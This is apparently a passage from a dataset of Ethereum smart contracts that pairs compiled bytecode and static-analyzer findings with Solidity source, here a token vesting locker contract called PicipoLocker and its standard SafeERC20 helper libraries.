ffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561130b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611389573d6000803e3d6000fd5b50565b60606040805190810160405280600481526020017f4352425400000000000000000000000000000000000000000000000000000000815250905090565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b600060149054906101000a900460ff16151561140357600080fd5b61140c8161105b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144557600080fd5b61145033838361197a565b5050565b600060076000838152602001908152602001600020549050919050565b6060600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115465780601f1061151b57610100808354040283529160200191611546565b820191906000526020600020905b81548152906001019060200180831161152957829003601f168201915b50505050509050919050565b60008060008060008061156487611454565b11151561157057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166115918761105b565b73ffffffffffffffffffffffffffffffffffffffff16141515156115b457600080fd5b6115bd86611454565b34101515156115cb57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166115eb8761105b565b73ffffffffffffffffffffffffffffffffffffffff161415151561160e57600080fd5b61161733611b56565b15151561162357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561165f57600080fd5b6116688661105b565b945033935061167686611454565b925061168b8334611b6990919063ffffffff16565b915061169885858861197a565b6116a186611041565b60076000888152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff16867fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c2159040856040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff16867f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d7856040518082815260200191505060405180910390a361175f83611098565b90508473ffffffffffffffffffffffffffffffffffffffff166108fc61178e8386611b6990919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156117b9573d6000803e3d6000fd5b50600082111561180b578373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611809573d6000803e3d6000fd5b505b505050505050565b600060015482101561184d57611846606261183860c88561192490919063ffffffff16565b61195f90919063ffffffff16565b905061191f565b6002548210156118855761187e606161187060878561192490919063ffffffff16565b61195f90919063ffffffff16565b905061191f565b6003548210156118bd576118b660606118a8607d8561192490919063ffffffff16565b61195f90919063ffffffff16565b905061191f565b6004548210156118f5576118ee605f6118e060758561192490919063ffffffff16565b61195f90919063ffffffff16565b905061191f565b61191c605f61190e60738561192490919063ffffffff16565b61195f90919063ffffffff16565b90505b919050565b60008060008414156119395760009150611958565b828402905082848281151561194a57fe5b0414151561195457fe5b8091505b5092915050565b600080828481151561196d57fe5b0490508091505092915050565b6119838161091b565b151561198e57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff166119ae8261105b565b73ffffffffffffffffffffffffffffffffffffffff161415156119d057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611a0c57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611a4757600080fd5b816006600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006008600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080823b905060008111915050919050565b6000828211151515611b7757fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611bc357805160ff1916838001178555611bf1565b82800160010185558215611bf1579182015b82811115611bf0578251825591602001919060010190611bd5565b5b509050611bfe9190611c02565b5090565b611c2491905b80821115611c20576000816000905550600101611c08565b5090565b905600a165627a7a72305820871d56861397b9249508bcf0957daf6504234ffaf81ab05dc63429a02be863f00029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | 9,958 |
0xb24027452BBA6ef184885375097dcf09290bAF34 | pragma solidity 0.8.4;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(
oldAllowance >= value,
"SafeERC20: decreased allowance below zero"
);
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
abstract contract LockerTypes {
enum LockType {
ERC20,
LP
}
struct LockStorageRecord {
LockType ltype;
address token;
uint256 amount;
VestingRecord[] vestings;
}
struct VestingRecord {
uint256 unlockTime;
uint256 amountUnlock;
bool isNFT;
}
struct RegistryShare {
uint256 lockIndex;
uint256 sharePercent;
uint256 claimedAmount;
}
}
contract PicipoLocker is LockerTypes {
using SafeERC20 for IERC20;
string constant name = "Lock & Registry v0.0.2";
uint256 constant MAX_VESTING_RECORDS_PER_LOCK = 250;
uint256 constant TOTAL_IN_PERCENT = 10000;
LockStorageRecord[] lockerStorage;
mapping(address => RegistryShare[]) public registry;
mapping(uint256 => address[]) beneficiariesInLock;
event NewLock(
address indexed erc20,
address indexed who,
uint256 lockedAmount,
uint256 lockId
);
function lockTokens(
address _ERC20,
uint256 _amount,
uint256[] memory _unlockedFrom,
uint256[] memory _unlockAmount,
address[] memory _beneficiaries,
uint256[] memory _beneficiariesShares
) external {
require(_amount > 0, "Cant lock 0 amount");
require(
IERC20(_ERC20).allowance(msg.sender, address(this)) >= _amount,
"Please approve first"
);
require(
_getArraySum(_unlockAmount) == _amount,
"Sum vesting records must be equal lock amount"
);
require(
_unlockedFrom.length == _unlockAmount.length,
"Length of periods and amounts arrays must be equal"
);
require(
_beneficiaries.length == _beneficiariesShares.length,
"Length of beneficiaries and shares arrays must be equal"
);
require(
_getArraySum(_beneficiariesShares) == TOTAL_IN_PERCENT,
"Sum of shares array must be equal to 100%"
);
VestingRecord[] memory v = new VestingRecord[](_unlockedFrom.length);
for (uint256 i = 0; i < _unlockedFrom.length; i++) {
v[i].unlockTime = _unlockedFrom[i];
v[i].amountUnlock = _unlockAmount[i];
}
LockStorageRecord storage lock = lockerStorage.push();
lock.ltype = LockType.ERC20;
lock.token = _ERC20;
lock.amount = _amount;
for (uint256 i = 0; i < _unlockedFrom.length; i++) {
lock.vestings.push(v[i]);
}
for (uint256 i = 0; i < _beneficiaries.length; i++) {
RegistryShare[] storage shares = registry[_beneficiaries[i]];
shares.push(
RegistryShare({
lockIndex: lockerStorage.length - 1,
sharePercent: _beneficiariesShares[i],
claimedAmount: 0
})
);
beneficiariesInLock[lockerStorage.length - 1].push(
_beneficiaries[i]
);
}
IERC20 token = IERC20(_ERC20);
token.safeTransferFrom(msg.sender, address(this), _amount);
emit NewLock(_ERC20, msg.sender, _amount, lockerStorage.length - 1);
}
function claimTokens(uint256 _lockIndex, uint256 _desiredAmount) external {
require(_lockIndex < lockerStorage.length, "Lock record not saved yet");
require(_desiredAmount > 0, "Cant claim zero");
LockStorageRecord memory lock = lockerStorage[_lockIndex];
(
uint256 percentShares,
uint256 wasClaimed
) = _getUserSharePercentAndClaimedAmount(msg.sender, _lockIndex);
uint256 availableAmount = (_getAvailableAmountByLockIndex(_lockIndex) *
percentShares) /
TOTAL_IN_PERCENT -
wasClaimed;
require(_desiredAmount <= availableAmount, "Insufficient for now");
availableAmount = _desiredAmount;
_decreaseAvailableAmount(msg.sender, _lockIndex, availableAmount);
IERC20 token = IERC20(lock.token);
token.safeTransfer(msg.sender, availableAmount);
}
function getUserShares(address _user)
external
view
returns (RegistryShare[] memory)
{
return _getUsersShares(_user);
}
function getUserBalances(address _user, uint256 _lockIndex)
external
view
returns (uint256, uint256)
{
return _getUserBalances(_user, _lockIndex);
}
function getLockRecordByIndex(uint256 _index)
external
view
returns (LockStorageRecord memory)
{
return _getLockRecordByIndex(_index);
}
function getLockCount() external view returns (uint256) {
return lockerStorage.length;
}
function getArraySum(uint256[] memory _array)
external
pure
returns (uint256)
{
return _getArraySum(_array);
}
function _decreaseAvailableAmount(
address user,
uint256 _lockIndex,
uint256 _amount
) internal {
RegistryShare[] storage shares = registry[user];
for (uint256 i = 0; i < shares.length; i++) {
if (shares[i].lockIndex == _lockIndex) {
shares[i].claimedAmount += _amount;
break;
}
}
}
function _getArraySum(uint256[] memory _array)
internal
pure
returns (uint256)
{
uint256 res = 0;
for (uint256 i = 0; i < _array.length; i++) {
res += _array[i];
}
return res;
}
function _getAvailableAmountByLockIndex(uint256 _lockIndex)
internal
view
returns (uint256)
{
VestingRecord[] memory v = lockerStorage[_lockIndex].vestings;
uint256 res = 0;
for (uint256 i = 0; i < v.length; i++) {
if (v[i].unlockTime <= block.timestamp && !v[i].isNFT) {
res += v[i].amountUnlock;
}
}
return res;
}
function _getUserSharePercentAndClaimedAmount(
address _user,
uint256 _lockIndex
) internal view returns (uint256 percent, uint256 claimed) {
RegistryShare[] memory shares = registry[_user];
for (uint256 i = 0; i < shares.length; i++) {
if (shares[i].lockIndex == _lockIndex) {
percent += shares[i].sharePercent;
claimed += shares[i].claimedAmount;
}
}
return (percent, claimed);
}
function _getUsersShares(address _user)
internal
view
returns (RegistryShare[] memory)
{
return registry[_user];
}
function _getUserBalances(address _user, uint256 _lockIndex)
internal
view
returns (uint256, uint256)
{
(
uint256 percentShares,
uint256 wasClaimed
) = _getUserSharePercentAndClaimedAmount(_user, _lockIndex);
uint256 totalBalance = (lockerStorage[_lockIndex].amount *
percentShares) /
TOTAL_IN_PERCENT -
wasClaimed;
uint256 available = (_getAvailableAmountByLockIndex(_lockIndex) *
percentShares) /
TOTAL_IN_PERCENT -
wasClaimed;
return (totalBalance, available);
}
function _getVestingsByLockIndex(uint256 _index)
internal
view
returns (VestingRecord[] memory)
{
VestingRecord[] memory v = _getLockRecordByIndex(_index).vestings;
return v;
}
function _getLockRecordByIndex(uint256 _index)
internal
view
returns (LockStorageRecord memory)
{
return lockerStorage[_index];
}
} | 0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638ea6bde31161005b5780638ea6bde31461013a57806394493c4314610156578063ba0cb22b14610174578063d05cb545146101a457610088565b8063096dbaba1461008d5780633098b74b146100a95780636f5dde52146100d9578063769c3cb314610109575b600080fd5b6100a760048036038101906100a29190611c95565b6101d6565b005b6100c360048036038101906100be9190611d7e565b610a12565b6040516100d09190612537565b60405180910390f35b6100f360048036038101906100ee9190611de8565b610a24565b6040516101009190612515565b60405180910390f35b610123600480360381019061011e9190611c59565b610a3c565b604051610131929190612552565b60405180910390f35b610154600480360381019061014f9190611e3a565b610a54565b005b61015e610d78565b60405161016b9190612537565b60405180910390f35b61018e60048036038101906101899190611c30565b610d84565b60405161019b9190612351565b60405180910390f35b6101be60048036038101906101b99190611c59565b610d96565b6040516101cd9392919061257b565b60405180910390f35b60008511610219576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610210906123d5565b60405180910390fd5b848673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b81526004016102559291906122c8565b60206040518083038186803b15801561026d57600080fd5b505afa158015610281573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102a59190611e11565b10156102e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102dd906124b5565b60405180910390fd5b846102f084610ddd565b14610330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161032790612395565b60405180910390fd5b8251845114610374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036b90612455565b60405180910390fd5b80518251146103b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103af906123f5565b60405180910390fd5b6127106103c482610ddd565b14610404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103fb90612435565b60405180910390fd5b6000845167ffffffffffffffff811115610447577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561048057816020015b61046d611a17565b8152602001906001900390816104655790505b50905060005b85518110156105b6578581815181106104c8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151828281518110610509577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516000018181525050848181518110610552577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151828281518110610593577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151602001818152505080806105ae906128b9565b915050610486565b50600080600181600181540180825580915050039060005260206000209060030201905060008160000160006101000a81548160ff02191690836001811115610628577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b0217905550878160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555086816001018190555060005b865181101561073c57816002018382815181106106c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519080600181540180825580915050600190039060005260206000209060030201600090919091909150600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555050508080610734906128b9565b91505061067c565b5060005b845181101561095c57600060016000878481518110610788577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905080604051806060016040528060016000805490506107ea91906127b4565b8152602001878581518110610828577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200160008152509080600181540180825580915050600190039060005260206000209060030201600090919091909150600082015181600001556020820151816001015560408201518160020155505060026000600160008054905061089991906127b4565b81526020019081526020016000208683815181106108e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508080610954906128b9565b915050610740565b50600088905061098f33308a8473ffffffffffffffffffffffffffffffffffffffff16610e5b909392919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167f360b683997b87e650f5af8bb848bb2f19f0ae44eccf0c5b82553fdd11cc0d3718a60016000805490506109f191906127b4565b6040516109ff929190612552565b60405180910390a3505050505050505050565b6000610a1d82610ddd565b9050919050565b610a2c611a3a565b610a3582610ee4565b9050919050565b600080610a4984846110bb565b915091509250929050565b6000805490508210610a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a92906124f5565b60405180910390fd5b60008111610ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad590612415565b60405180910390fd5b6000808381548110610b19577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600302016040518060800160405290816000820160009054906101000a900460ff166001811115610b7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6001811115610bb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b81526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201805480602002602001604051908101604052809291908181526020016000905b82821015610c9f578382906000526020600020906003020160405180606001604052908160008201548152602001600182015481526020016002820160009054906101000a900460ff16151515158152505081526020019060010190610c3e565b50505050815250509050600080610cb63386611183565b9150915060008161271084610cca89611356565b610cd4919061275a565b610cde9190612729565b610ce891906127b4565b905080851115610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d24906124d5565b60405180910390fd5b849050610d3b338783611544565b600084602001519050610d6f33838373ffffffffffffffffffffffffffffffffffffffff166116689092919063ffffffff16565b50505050505050565b60008080549050905090565b6060610d8f826116ee565b9050919050565b60016020528160005260406000208181548110610db257600080fd5b9060005260206000209060030201600091509150508060000154908060010154908060020154905083565b6000806000905060005b8351811015610e5157838181518110610e29577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015182610e3c91906126d3565b91508080610e49906128b9565b915050610de7565b5080915050919050565b610ede846323b872dd60e01b858585604051602401610e7c939291906122f1565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506117aa565b50505050565b610eec611a3a565b60008281548110610f26577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600302016040518060800160405290816000820160009054906101000a900460ff166001811115610f8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6001811115610fc2577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b81526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201805480602002602001604051908101604052809291908181526020016000905b828210156110ac578382906000526020600020906003020160405180606001604052908160008201548152602001600182015481526020016002820160009054906101000a900460ff1615151515815250508152602001906001019061104b565b50505050815250509050919050565b6000806000806110cb8686611183565b915091506000816127108460008981548110611110577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600302016001015461112c919061275a565b6111369190612729565b61114091906127b4565b9050600082612710856111528a611356565b61115c919061275a565b6111669190612729565b61117091906127b4565b9050818195509550505050509250929050565b6000806000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b8282101561123757838290600052602060002090600302016040518060600160405290816000820154815260200160018201548152602001600282015481525050815260200190600101906111e7565b50505050905060005b815181101561134d5784828281518110611283577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160000151141561133a578181815181106112ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160200151846112e591906126d3565b9350818181518110611320577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151604001518361133791906126d3565b92505b8080611345906128b9565b915050611240565b50509250929050565b60008060008381548110611393577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060030201600201805480602002602001604051908101604052809291908181526020016000905b82821015611425578382906000526020600020906003020160405180606001604052908160008201548152602001600182015481526020016002820160009054906101000a900460ff161515151581525050815260200190600101906113c4565b5050505090506000805b82518110156115395742838281518110611472577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160000151111580156114ce57508281815181106114c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160400151155b156115265782818151811061150c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151602001518261152391906126d3565b91505b8080611531906128b9565b91505061142f565b508092505050919050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060005b818054905081101561166157838282815481106115d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906003020160000154141561164e5782828281548110611622577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060030201600201600082825461164291906126d3565b92505081905550611661565b8080611659906128b9565b91505061158a565b5050505050565b6116e98363a9059cbb60e01b8484604051602401611687929190612328565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506117aa565b505050565b6060600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b8282101561179f578382906000526020600020906003020160405180606001604052908160008201548152602001600182015481526020016002820154815250508152602001906001019061174f565b505050509050919050565b600061180c826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166118719092919063ffffffff16565b905060008151111561186c578080602001905181019061182c9190611dbf565b61186b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186290612495565b60405180910390fd5b5b505050565b60606118808484600085611889565b90509392505050565b6060824710156118ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c5906123b5565b60405180910390fd5b6118d78561199d565b611916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190d90612475565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161193f91906122b1565b60006040518083038185875af1925050503d806000811461197c576040519150601f19603f3d011682016040523d82523d6000602084013e611981565b606091505b50915091506119918282866119b0565b92505050949350505050565b600080823b905060008111915050919050565b606083156119c057829050611a10565b6000835111156119d35782518084602001fd5b816040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a079190612373565b60405180910390fd5b9392505050565b604051806060016040528060008152602001600081526020016000151581525090565b604051806080016040528060006001811115611a7f577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b8152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001606081525090565b6000611ac3611abe846125d7565b6125b2565b90508083825260208201905082856020860282011115611ae257600080fd5b60005b85811015611b125781611af88882611b88565b845260208401935060208301925050600181019050611ae5565b5050509392505050565b6000611b2f611b2a84612603565b6125b2565b90508083825260208201905082856020860282011115611b4e57600080fd5b60005b85811015611b7e5781611b648882611c06565b845260208401935060208301925050600181019050611b51565b5050509392505050565b600081359050611b9781612cb3565b92915050565b600082601f830112611bae57600080fd5b8135611bbe848260208601611ab0565b91505092915050565b600082601f830112611bd857600080fd5b8135611be8848260208601611b1c565b91505092915050565b600081519050611c0081612cca565b92915050565b600081359050611c1581612ce1565b92915050565b600081519050611c2a81612ce1565b92915050565b600060208284031215611c4257600080fd5b6000611c5084828501611b88565b91505092915050565b60008060408385031215611c6c57600080fd5b6000611c7a85828601611b88565b9250506020611c8b85828601611c06565b9150509250929050565b60008060008060008060c08789031215611cae57600080fd5b6000611cbc89828a01611b88565b9650506020611ccd89828a01611c06565b955050604087013567ffffffffffffffff811115611cea57600080fd5b611cf689828a01611bc7565b945050606087013567ffffffffffffffff811115611d1357600080fd5b611d1f89828a01611bc7565b935050608087013567ffffffffffffffff811115611d3c57600080fd5b611d4889828a01611b9d565b92505060a087013567ffffffffffffffff811115611d6557600080fd5b611d7189828a01611bc7565b9150509295509295509295565b600060208284031215611d9057600080fd5b600082013567ffffffffffffffff811115611daa57600080fd5b611db684828501611bc7565b91505092915050565b600060208284031215611dd157600080fd5b6000611ddf84828501611bf1565b91505092915050565b600060208284031215611dfa57600080fd5b6000611e0884828501611c06565b91505092915050565b600060208284031215611e2357600080fd5b6000611e3184828501611c1b565b91505092915050565b60008060408385031215611e4d57600080fd5b6000611e5b85828601611c06565b9250506020611e6c85828601611c06565b9150509250929050565b6000611e82838361220f565b60608301905092915050565b6000611e9a8383612251565b60608301905092915050565b611eaf816127e8565b82525050565b611ebe816127e8565b82525050565b6000611ecf8261264f565b611ed98185612695565b9350611ee48361262f565b8060005b83811015611f15578151611efc8882611e76565b9750611f078361267b565b925050600181019050611ee8565b5085935050505092915050565b6000611f2d8261265a565b611f3781856126a6565b9350611f428361263f565b8060005b83811015611f73578151611f5a8882611e8e565b9750611f6583612688565b925050600181019050611f46565b5085935050505092915050565b611f89816127fa565b82525050565b6000611f9a82612665565b611fa481856126b7565b9350611fb4818560208601612855565b80840191505092915050565b611fc981612843565b82525050565b6000611fda82612670565b611fe481856126c2565b9350611ff4818560208601612855565b611ffd816129be565b840191505092915050565b6000612015602d836126c2565b9150612020826129cf565b604082019050919050565b60006120386026836126c2565b915061204382612a1e565b604082019050919050565b600061205b6012836126c2565b915061206682612a6d565b602082019050919050565b600061207e6037836126c2565b915061208982612a96565b604082019050919050565b60006120a1600f836126c2565b91506120ac82612ae5565b602082019050919050565b60006120c46029836126c2565b91506120cf82612b0e565b604082019050919050565b60006120e76032836126c2565b91506120f282612b5d565b604082019050919050565b600061210a601d836126c2565b915061211582612bac565b602082019050919050565b600061212d602a836126c2565b915061213882612bd5565b604082019050919050565b60006121506014836126c2565b915061215b82612c24565b602082019050919050565b60006121736014836126c2565b915061217e82612c4d565b602082019050919050565b60006121966019836126c2565b91506121a182612c76565b602082019050919050565b60006080830160008301516121c46000860182611fc0565b5060208301516121d76020860182611ea6565b5060408301516121ea6040860182612293565b50606083015184820360608601526122028282611f22565b9150508091505092915050565b6060820160008201516122256000850182612293565b5060208201516122386020850182612293565b50604082015161224b6040850182612293565b50505050565b6060820160008201516122676000850182612293565b50602082015161227a6020850182612293565b50604082015161228d6040850182611f80565b50505050565b61229c81612839565b82525050565b6122ab81612839565b82525050565b60006122bd8284611f8f565b915081905092915050565b60006040820190506122dd6000830185611eb5565b6122ea6020830184611eb5565b9392505050565b60006060820190506123066000830186611eb5565b6123136020830185611eb5565b61232060408301846122a2565b949350505050565b600060408201905061233d6000830185611eb5565b61234a60208301846122a2565b9392505050565b6000602082019050818103600083015261236b8184611ec4565b905092915050565b6000602082019050818103600083015261238d8184611fcf565b905092915050565b600060208201905081810360008301526123ae81612008565b9050919050565b600060208201905081810360008301526123ce8161202b565b9050919050565b600060208201905081810360008301526123ee8161204e565b9050919050565b6000602082019050818103600083015261240e81612071565b9050919050565b6000602082019050818103600083015261242e81612094565b9050919050565b6000602082019050818103600083015261244e816120b7565b9050919050565b6000602082019050818103600083015261246e816120da565b9050919050565b6000602082019050818103600083015261248e816120fd565b9050919050565b600060208201905081810360008301526124ae81612120565b9050919050565b600060208201905081810360008301526124ce81612143565b9050919050565